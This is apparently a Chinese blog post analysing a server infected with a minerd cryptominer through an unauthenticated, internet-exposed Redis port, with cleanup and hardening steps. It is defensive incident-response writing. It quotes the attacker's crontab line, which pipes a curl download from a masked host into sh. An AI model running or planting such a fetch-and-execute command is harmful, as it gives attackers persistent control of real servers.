服务器被植入挖矿程序排查案例

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介: 主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

服务器被植入挖矿程序排查案例

主机的操作系统是CentOS7,应用架构是Java+MySQL+Redis。客户描述问题是有一个从下午2点到凌晨的秒杀活动。秒杀系统开始的时候是可以正常运行的,但是到了晚上7点就突然无法使用了,前台提交秒杀请求后,后端无响应,最终超时退出。

排查过程分析

首先登录服务器,查看整个系统状态。目标服务器是16核32GB,执行top命令发现平均负载在10左右,主要是被一个可疑的minerd进程消耗大量CPU资源,并且这个minerd进程还是由root用户启动的,已经启动了37min25s,当时时间是19:37。接着,又询问客户秒杀系统故障持续时间,客户回复大概半小时左右。

搜索关键字minerd发现这个一个挖矿程序,“挖矿”的本质是使用计算机解决一项复杂的数学问题,特定算法会消耗大量CPU资源,导致系统卡顿。

既然找到了问题,接下来就捋清思路解决问题:

  1. 清理挖矿程序。
  2. 排查挖矿程序的植入原因。
  3. 修复漏洞,安全加固。

清理挖矿程序

通过top找到minerd的进程号13343,根据进程号,查询产生进程的程序路径 。

#查询PID对应的可执行文件路径
ls -al /proc/13343/exe

上面命令的执行结果为/var/tmp/minerd,接下来执行kill -9 13343 杀死进程,并执行rm -rf /var/tmp/minerd清理挖矿程序。

再次执行top发现minerd进程已经不在,且平均负载已经下降,说明问题已经初步解决,但是一般植入挖矿程序都会修改crontab,检查/var/spool/cron/root发现如下计划任务:

*/5 19-23,0-7 * * * curl -fsSL https://*****/api/report?pm=*** | sh

可以看出,这个计划任务避开工作时间偷偷挖矿,具有一定隐蔽性。这也印证了客户提的晚上七点开始系统出现故障。 rm -rf /var/spool/cron/root删除计划任务即可。

排查挖矿程序植入原因

通过netstat -tnpl查看到Redis的6380端口监听在0.0.0.0上,这属于高风险操作。接着,通过iptables -nL发现INPUT链有一条关于6380端口的开放规则:

ACCEPT  tcp  --  0.0.0.0/0  0.0.0.0/0  tcp dpt:6380

这条规则使Redis对全网开放,且在外网可以使用redis-cli -h xx.xx.xx.xx -p 6380无密码远程登录Redis。黑客很有可能利用Redis漏洞,同通过反弹Shell注入crontab来植入挖矿程序。

询问客户为何开放6380端口。客户回忆说,因为开发人员要在家办公,需要远程连接Redis,所以要开放6380端口,开发人员处理完问题,运维人员忘记关闭端口,就导致了这次事故的发生。

对于线上服务器,是不能随意开放端口的,虽然问题体现在端口开放上,但本质是开发和运维的协作机制问题,如果加强沟通,肯定会避免此类问题。

修复漏洞,安全加固

  1. 设置防火墙,禁止外网访问Redis:

    iptables -D INPUT -p tcp -m tcp --dport=6380 -j ACCEPT
  2. 以低权限运行Redis服务。
  3. 修改Redis默认端口,6379、6380、6381都是Redis常用的端口,建议修改成不易被识别的端口。
  4. 给Redis添加密码验证,修改redis.conf,添加requirepass 密码。重启Redis生效。
  5. 清空密钥认证文件,rm -rf /root/.ssh/*
  6. 修复sshd配置文件/etc/ssh/sshd_config,可以检查修改了那些配置项,也可以从正常的系统复制一个sshd_config过来。重启sshd生效。
  7. authorized_keys存储着本地系统允许远程SSH无密码登录大的账号信息。默认情况下此文件权限为600可以正常工作,为了安全起见可以将authorized_keys的权限设置为只读、其他用户无权限,且无法修改此文件的权限,即:

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
  8. 检查/etc/rc.local/etc/init.d下是否有可疑内容。

欢迎大家留言交流!

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
12天前
|
存储 数据挖掘 数据库
服务器数据恢复—EMC Isilon存储数据恢复案例
服务器存储数据恢复环境: EMC Isilon S200集群存储,共三个节点,每节点配置12块SATA硬盘。 服务器存储故障: 工作人员误操作删除虚拟机,虚拟机中数据包括数据库、MP4、AS、TS类型的视频文件等。需要恢复数据的虚拟机通过NFS协议共享到ESX主机,视频文件通过CIFS协议共享给虚拟机(WEB服务器)。 通过NFS协议共享的所有数据(虚拟机)被删除,而通过CIFS协议共享的数据没有被删除。
服务器数据恢复—EMC Isilon存储数据恢复案例
|
25天前
|
存储 运维
服务器数据恢复—EqualLogic存储硬盘出现故障的数据恢复案例
服务器数据恢复环境: 一台某品牌EqualLogic PS 6011型号存储,底层有一组由16块SAS硬盘组建的RAID5阵列,上层存储空间划分了4个卷,格式化为VMFS文件系统,存放虚拟机文件。 服务器故障: 存储设备上两块硬盘指示灯显示黄色,磁盘出现故障导致存储不可用,存储已经过保,用户方联系北亚企安数据恢复中心要求恢复数据。
服务器数据恢复—EqualLogic存储硬盘出现故障的数据恢复案例
|
1天前
|
数据挖掘 数据库
服务器数据恢复—服务器raid磁盘故障离线导致阵列瘫痪的数据恢复案例
服务器数据恢复环境: 一台某品牌DL380服务器中3块SAS硬盘组建了一组raid。 服务器故障: RAID中多块磁盘出现故障离线导致RAID瘫痪,其中一块硬盘状态指示灯显示红色。服务器上运行的数据库在D分区,备份文件存放在E分区。由于RAID瘫痪,D分区无法识别,E分区可识别但是拷贝文件报错。管理员重启服务器,导致RAID中先离线的硬盘上线并开始同步数据,同步没有完成管理员意识到有问题,于是就强制关机了,之后就没有再动过服务器。
服务器数据恢复—服务器raid磁盘故障离线导致阵列瘫痪的数据恢复案例
|
4天前
|
存储 数据挖掘 索引
服务器数据恢复—服务器存储中文件夹丢失的数据恢复案例
服务器存储数据恢复环境: DroboPro FS网络存储,共8块SAS硬盘,组建了一组raid5磁盘阵列。 服务器存储故障: 存储中有一个共享文件夹丢失,该文件夹存放了重要数据。
服务器数据恢复—服务器存储中文件夹丢失的数据恢复案例
|
11天前
|
存储 文件存储 索引
服务器数据恢复—OceanStor存储数据恢复案例
华为OceanStor某型号存储。工作人员在上传数据时发现该存储上一个NAS卷数据丢失,管理员随即关闭系统应用,停止上传数据。这个丢失数据的卷中主要数据类型为office文件、PDF文档、图片文件(JPG、JPEG、PNG等)、视频文件(MP4、AVI等)、音频文件(MP3等)。
服务器数据恢复—OceanStor存储数据恢复案例
|
19天前
|
Oracle 关系型数据库 数据挖掘
服务器数据恢复—raid5阵列两块盘离线导致服务器数据丢失的数据恢复案例
服务器数据恢复环境: 某品牌x3850 X5服务器,服务器上有一组由5块硬盘组建的raid5阵列(包含一块热备盘),安装linux操作系统,运行oracle数据库。 服务器故障: 服务器上raid5阵列中两块硬盘由于未知故障离线,服务器数据丢失。北亚企安数据恢复中心安排服务器数据恢复工程师达到现场对故障服务器进行初检,发现raid5阵列中有两块硬盘处于离线状态;热备盘未激活,经过检测没有发现物理故障,无明显同步表现。
服务器数据恢复—raid5阵列两块盘离线导致服务器数据丢失的数据恢复案例
|
22天前
|
存储 数据挖掘
服务器数据恢复—CX4-480存储中XFS文件系统数据恢复案例
服务器存储数据恢复环境: 某品牌CX4-480型号服务器存储,该服务器存储内有一组由20块硬盘组建的raid5磁盘阵列;存储空间分配了1个lun。 服务器存储故障: 工作人员将服务器重装操作系统后,未知原因导致服务器操作系统层面的磁盘分区改变,一个XFS文件系统分区丢失,无法访问,该分区存放大量重要业务信息。
服务器数据恢复—CX4-480存储中XFS文件系统数据恢复案例
|
27天前
|
存储 SQL 数据挖掘
服务器数据恢复—误删除VMware虚拟机vmdk文件的数据恢复案例
服务器数据恢复环境: 某大厂PS4000服务器,服务器上部署VMware ESXi虚拟化平台。 服务器故障: 机房断电,重启后服务器中的某台虚拟机不能正常启动。管理员查看虚拟机配置文件,发现无法启动的虚拟机的配置文件除了磁盘文件以外其他配置文件全部丢失,xxx-flat.vmdk磁盘文件和xxx-000001-delta.vmdk快照文件还存在。联系VMware原厂工程师进行诊断,VMware原厂工程师尝试新建一个虚拟机,但发现存储空间不足,于是将故障虚拟机下的xxx-flat.vmdk磁盘文件删除了。VMware工程师重新建了一个虚拟机,分配了固定大小的虚拟磁盘,为虚拟机安装了Window
服务器数据恢复—误删除VMware虚拟机vmdk文件的数据恢复案例
|
5天前
|
存储 运维 数据挖掘
服务器数据恢复—raid5热备盘同步失败导致阵列崩溃的数据恢复案例
某品牌DS5300存储,包含一个存储机头和多个磁盘柜,组建了多组RAID5磁盘阵列。 某个磁盘柜中的一组RAID5阵列由15块数据盘和1块热备硬盘组建。该磁盘柜中的某块硬盘离线,热备盘自动替换并开始同步数据,在热备硬盘同步数据的过程中,又有一块硬盘出现问题离线,数据同步失败,该RAID5阵列失效,卷无法挂载访问。
|
26天前
|
数据挖掘 虚拟化 芯片
服务器数据恢复—某品牌P2000服务器raid5阵列数据恢复案例
服务器数据恢复环境: 某品牌P2000服务器,有一组由数块硬盘组建的raid5磁盘阵列(有热备盘),部署了VMWARE ESX虚拟化平台,VMFS文件系统。 服务器故障: 服务器在正常运行中,raid5阵列有两块硬盘亮黄色故障灯。经用户方工作人员初步检测,亮黄色故障灯的硬盘出现物理故障,故障表现为:序列号无法读取,通过SAS扩展卡无法识别硬盘。
服务器数据恢复—某品牌P2000服务器raid5阵列数据恢复案例